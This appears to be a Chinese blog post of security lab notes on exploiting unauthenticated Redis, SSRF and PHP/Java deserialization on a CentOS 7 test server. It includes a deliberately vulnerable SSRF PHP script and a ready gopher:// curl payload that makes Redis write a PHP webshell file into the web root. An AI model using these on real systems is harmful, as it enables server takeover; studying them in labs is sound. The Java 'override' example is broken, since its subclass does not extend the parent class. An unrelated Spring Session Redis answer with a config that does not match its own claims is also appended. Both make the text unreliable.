2024.03.11--redis未授权漏洞和PHP反序列化

本文详细记录了在CentOS7上安装http、PHP和Redis服务的步骤,展示了使用未授权漏洞写入文件、SSRF漏洞、SSH免密登录,以及PHP反序列化漏洞和Java反序列化漏洞的基本概念,涉及继承和重写等内容。
摘要由CSDN通过智能技术生成

前言

补发一下学习笔记,以后会不定期更新学习笔记。

1、centos系统安装http,php,redis服务

首先配置一下centos7的网卡和下载源

配置网卡信息

然后重启网络服务

删掉官方的yum源,安装一个新的yum源

安装阿里云的一个yum源

wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

yum install -y http://rpms.famillecollet.com/enterprise/remi-release-7.rpm

安装redis

yum install redis -y

安装好之后安装一下httpd服务

yum install httpd -y

http默认的根路径:/var/www/html

安装PHP环境

yum install php -y

在网站根目录下写一个简单的hello

启动一下redis

2、使用redis未授权漏洞写入phpinfo

redis服务的端口:6379

可以使用相应的客户端进行连接,也可以使用nc进行监听连接

监听成功了

没有账户和密码就连接成功了

设置一个目录

再创建一个文件

写入内容并保存退出

此时访问,写入文件成功

3、配合gopher协议ssrf漏洞向服务器写入任意数据

修改一下index文件中的内容,写入一个ssrf漏洞

<?php
if (isset($_REQUEST['url']))
{
$link = $_REQUEST['url'];
$filename = './curled/'.time().'.txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>

ssrf漏洞读取文件

尝试写入内容

curl -v "gopher://127.0.0.1:6379/_aaa%0A%0Aflushall%0A%0Aconfig%20set%20dir%20/var/www/html%0A%0Aconfig%20set%20dbfilename%20shell.php%0A%0Aset%20'webshell'%20'%3C?php%20phpinfo();?%3E'%0A%0Asave%0A%0Aquit%0A%0Abbb"

写入成功,可惜没执行

4、演示ssh免密码登录

在server上安装一个git

在centos7中也触发生成一个.ssh文件

在.ssh文件夹下新建一个文件

把server中生成的公钥写入到centos7中

然后在server中git命令行中实现免密登录

5、画图解释PHP反序列化漏洞的原理

序列化就是把对象的成员变量转换为可以保存的和传输的字符串的过程,而反序列化就是把字符串再转换为原来的对象的变量,而这两个过程就很好的做到存储和传输数据。而序列化和反序列化分别通过函数serialize()和unserialize()来实现。

一些实战中的一些魔术方法。

  • __construct(),类的构造函数
  • __destruct(),类的析构函数
  • __call(),在对象中调用一个不可访问方法时调用
  • __get(),访问一个不存在的成员变量或访问一个private和protected成员变量时调用
  • __set(),设置一个类的成员变量时调用
  • __isset(),当对不可访问属性调用isset()或empty()时调用
  • __unset(),当对不可访问属性调用unset()时被调用。
  • __sleep(),执行serialize()时,先会调用这个函数
  • __wakeup(),执行unserialize()时,先会调用这个函数

6、预习java反序列化漏洞,包括继承,重写等概念

序列化和反序列化

序列化:将程序运行时所需要的Java对象转化为字节序列并存储在文件系统中,一般为.ser后缀的文件,ObjectOutputStream.writeObject()方法可以将对象序列化。

反序列化:将存储在文件系统的字节序列转化成对象供程序使用,ObjectInputStream.readObject()方法可以将字节序列转化成对象。

可序列化的类必须继承 java.io.Serializable;序列化机制使对象得以脱离程序之外独立存在。

Java的序列化就是将对象转化为一个二进制的字节流的过程,该字节序列包含该对象的属性和方法;反序列化顾名思义就是将对象字节流转化为对象,而序列化时需要使用writeObject将对象转化为字节流,反序列化需要使用readObject将字节流转化为对象。

Java反序列化漏洞其原理也是因为对用户的输入没有做严格的过滤,导致用户可传入精心构造的字节流

继承

创建一个test类,主函数写在这个类里,在这里初始化name和age两个变量并且调用person类和student类中的方法来实现输出

public class test {
    public static void main(String[] args) {
        student stu = new student();
        stu.name = "sev1n";
        stu.age = 22;
        stu.showNmae();
        stu.showAge();
    }
}

创建一个person类,作为父类,写入一个student类做子类来继承person类的成员name,student只创建一个age成员

public class person {
    String name;
    public void showNmae(){
        System.out.println("my name is "+name);
    }
}

class student extends person{
    int age;
    public void showAge(){
        System.out.println("I am "+age+" years old");
    }
}

我们在student中创建的变量stu,但是在使用showName方法时成功了,也就是student类继承了person类的方法(继承的关键字extends)

重写

在继承关系中,子类会自动继承父类中定义的方法,但有时在子类中需要对继承的方法进行一些修改,即对父类的方法进行重写。在子类中重写的方法需要和父类被重写的方法具有相同的方法名、参数列表以及返回值类型。

public class test1 {
    public static void main(String[] args) {
        cat mimi = new cat();
        mimi.shout();
    }
}

class Animal{
    void shout(){
        System.out.println("123");
    }
}

class cat{
    void shout(){
        System.out.println("miaomiao");
    }
}

在重写之前调用shout方法应该输出123,重写之后输出miaomiao

  • 28
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要排除以`/api/`开头的请求,您可以使用Ant路径匹配模式来配置`spring.session.redis.filter-dispatcher-types`属性。具体来说,您可以配置`spring.session.redis.filter-dispatcher-types`属性,使其不拦截`/api/**`路径下的请求。 例如,以下配置将排除以`/api/`开头的所有请求: ``` spring.session.redis.filter-dispatcher-types=REQUEST,ASYNC spring.session.redis.servlet.filter.enabled=false spring.session.store-type=redis spring.session.redis.flush-mode=on_save spring.session.redis.namespace=spring:session spring.session.redis.cleanup-cron=0 * * * * * spring.session.redis.save-mode=on_set_attribute spring.session.redis.redis-url=redis://localhost:6379 spring.session.redis.redis-password=password spring.session.redis.redis-sentinel-master-id=mymaster spring.session.redis.redis-sentinel-nodes=sentinel://localhost:26379,sentinel://localhost:26380,sentinel://localhost:26381 spring.session.redis.redis-sentinel-password=password spring.session.redis.redis-cluster-nodes=localhost:6379,localhost:6380,localhost:6381 spring.session.redis.redis-cluster-max-redirects=3 spring.session.redis.redis-properties.ssl=true spring.session.redis.redis-properties.ssl-truststore=classpath:redis.truststore spring.session.redis.redis-properties.ssl-truststore-password=redispassword spring.session.redis.redis-properties.ssl-keystore=classpath:redis.keystore spring.session.redis.redis-properties.ssl-keystore-password=redispassword spring.session.redis.redis-properties.useSsl=true spring.session.redis.redis-properties.sslProtocols=TLSv1.2,TLSv1.3 spring.session.redis.redis-properties.sslCipherSuites=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 spring.session.redis.redis-properties.sslProvider=JDK spring.session.redis.redis-properties.sslEnableEndpointIdentification=true spring.autoconfigure.exclude=org.springframework.boot.autoconfigure.session.SessionAutoConfiguration ``` 在以上配置中,我们使用了Ant路径匹配模式配置`spring.session.redis.filter-dispatcher-types`属性,使其不拦截`/api/**`路径下的请求。注意,我们也排除了Spring Boot自动配置的会话管理,因为我们已经使用了Spring Session Redis进行会话管理。 请注意,这只是一个示例配置,您需要根据您的具体需求进行修改。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值